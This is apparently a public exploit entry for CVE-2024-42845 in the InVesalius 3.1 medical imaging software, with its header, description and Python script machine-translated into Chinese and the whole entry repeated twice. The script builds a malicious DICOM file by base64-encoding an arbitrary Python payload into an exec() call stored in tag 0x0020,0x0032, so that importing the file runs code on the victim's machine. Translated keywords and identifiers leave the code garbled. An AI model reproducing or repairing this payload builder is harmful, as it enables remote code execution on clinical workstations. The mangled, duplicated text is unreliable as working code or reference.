#利用标题: Invesalius 3.1-远程代码执行(RCE)
#发现By: Alessio Romano(Sfoffo),Riccardo degli Esposti(PartyWave)
#利用作者: Alessio Romano(Sfoffo),Riccardo degli Esposti
#(PartyWave)
#日期: 23/08/2024
#供应商homepage: https://invesalius.github.io/
#软件link:
#https://github.com/INVESALIUS/INVESALIUS3/TREE/MASTER/INVESALIUS
#版本: 3.1.99991至3.1.99998
#在: Windows上测试
#CVE: CVE-2024-42845
#外部参考文献:
#https://notes.sfoffo.com/贡献/2024-Contributions/cve-2024-42845,
#https://github.com/partywavesec/invesalius3_vulnerabilities/tree/main/cve-2024-42845,
#https://www.partywave.site/show/show/research/tic%20TAC%20-%20beware%20Of%20年20年20 scan
#Description:
#------------------------
#
#A远程代码执行(RCE)漏洞在DICOM文件中存在
#invesalius3中的过程。这个脆弱性折磨了所有版本
#3.1.99991至3.1.99998。此漏洞的开发步骤
#involve的使用使用了制作的DICOM文件,该文件曾经导入
#受害者的客户申请允许攻击者获得远程代码
#在受害者的机器上执行。
#script:
#------------------------
#
###
#下面的脚本创建了专门精心设计的DICOM有效载荷
#CVE-2024-42845。一旦DICOM文件为
#在受害者的客户申请中进行了。
###
导入植物
导入基础64
导入argparse
pydicom.config.settings.reading_validation_mode=pydicom.config.ignore
DEF ENCODE_PAYLOAD(PLAIN_PAYLOAD):
data=open(plain_payload,'rb')。read()
返回f'exec(__ import __('Base64')。b64decode({base64.b64encode(data)})'
def prepary_dicom_payload(dicom_file_path,有效载荷):
TRY:
dicom_data=pydicom.dcmread(dicom_file_path)
值=dicom_data [0x0020,0x0032]。
mal=[str(i)for In值]
mal.append(encode_payload(有效载荷))
除了pydicom.errors.invaliddicomerror:
打印(“该文件不是有效的DICOM文件。”)
除异常外,E:
打印(发生f'an错误: {e}')
返回mal
def modify_dicom_field(dicom_file_path,aliqu_tag,outfile,sign):
TRY:
dicom_dataset=pydicom.dcmread(dicom_file_path)
如果sign:
dicom_dataset.manufacturer='恶意DICOM文件创建者'
dicom_dataset.institutionname='恶意DICOM文件机构'
elem=pydicom.dataelem.dataelement(0x00200032,'cs',aliqu_tag)
DICOM_DATASET [0x00200032]=ELEM
打印(DICOM_DATASET)
dicom_dataset.save_as(outfile)
除异常外,E:
打印(发生f'an错误: {e}')
如果name=='__ -Main __':
parser=argparse.argumentparser(Description='读取DICOM文件。')
parser.add_argument(' - dicom',必需=true,help='输入diCom文件的路径')
parser.add_argument(' - outfile',必需=true,help='输出diCom文件的路径')
parser.add_argument(' - 有效载荷',必需=false,default=b'print('test')',help='文件,其中包含恶意的普通python3代码')
parser.add_argument(' - signature',必需=false,default=true)
args=parser.parse_args()
dicom_infile_path=args.dicom
dicom_outfile_path=args.outfile
打印(args.signature)
tmp_tag=prepar_dicom_payload(dicom_infile_path,pareload=args.payload)
如果TMP_TAG:
malicious_tag='\\'。加入(tmp_tag)
modify_dicom_field(dicom_infile_path,alique_tag,dicom_outfile_path,sign=args.signature)
出口(0)
其他:
出口(1)
#发现By: Alessio Romano(Sfoffo),Riccardo degli Esposti(PartyWave)
#利用作者: Alessio Romano(Sfoffo),Riccardo degli Esposti
#(PartyWave)
#日期: 23/08/2024
#供应商homepage: https://invesalius.github.io/
#软件link:
#https://github.com/INVESALIUS/INVESALIUS3/TREE/MASTER/INVESALIUS
#版本: 3.1.99991至3.1.99998
#在: Windows上测试
#CVE: CVE-2024-42845
#外部参考文献:
#https://notes.sfoffo.com/贡献/2024-Contributions/cve-2024-42845,
#https://github.com/partywavesec/invesalius3_vulnerabilities/tree/main/cve-2024-42845,
#https://www.partywave.site/show/show/research/tic%20TAC%20-%20beware%20Of%20年20年20 scan
#Description:
#------------------------
#
#A远程代码执行(RCE)漏洞在DICOM文件中存在
#invesalius3中的过程。这个脆弱性折磨了所有版本
#3.1.99991至3.1.99998。此漏洞的开发步骤
#involve的使用使用了制作的DICOM文件,该文件曾经导入
#受害者的客户申请允许攻击者获得远程代码
#在受害者的机器上执行。
#script:
#------------------------
#
###
#下面的脚本创建了专门精心设计的DICOM有效载荷
#CVE-2024-42845。一旦DICOM文件为
#在受害者的客户申请中进行了。
###
导入植物
导入基础64
导入argparse
pydicom.config.settings.reading_validation_mode=pydicom.config.ignore
DEF ENCODE_PAYLOAD(PLAIN_PAYLOAD):
data=open(plain_payload,'rb')。read()
返回f'exec(__ import __('Base64')。b64decode({base64.b64encode(data)})'
def prepary_dicom_payload(dicom_file_path,有效载荷):
TRY:
dicom_data=pydicom.dcmread(dicom_file_path)
值=dicom_data [0x0020,0x0032]。
mal=[str(i)for In值]
mal.append(encode_payload(有效载荷))
除了pydicom.errors.invaliddicomerror:
打印(“该文件不是有效的DICOM文件。”)
除异常外,E:
打印(发生f'an错误: {e}')
返回mal
def modify_dicom_field(dicom_file_path,aliqu_tag,outfile,sign):
TRY:
dicom_dataset=pydicom.dcmread(dicom_file_path)
如果sign:
dicom_dataset.manufacturer='恶意DICOM文件创建者'
dicom_dataset.institutionname='恶意DICOM文件机构'
elem=pydicom.dataelem.dataelement(0x00200032,'cs',aliqu_tag)
DICOM_DATASET [0x00200032]=ELEM
打印(DICOM_DATASET)
dicom_dataset.save_as(outfile)
除异常外,E:
打印(发生f'an错误: {e}')
如果name=='__ -Main __':
parser=argparse.argumentparser(Description='读取DICOM文件。')
parser.add_argument(' - dicom',必需=true,help='输入diCom文件的路径')
parser.add_argument(' - outfile',必需=true,help='输出diCom文件的路径')
parser.add_argument(' - 有效载荷',必需=false,default=b'print('test')',help='文件,其中包含恶意的普通python3代码')
parser.add_argument(' - signature',必需=false,default=true)
args=parser.parse_args()
dicom_infile_path=args.dicom
dicom_outfile_path=args.outfile
打印(args.signature)
tmp_tag=prepar_dicom_payload(dicom_infile_path,pareload=args.payload)
如果TMP_TAG:
malicious_tag='\\'。加入(tmp_tag)
modify_dicom_field(dicom_infile_path,alique_tag,dicom_outfile_path,sign=args.signature)
出口(0)
其他:
出口(1)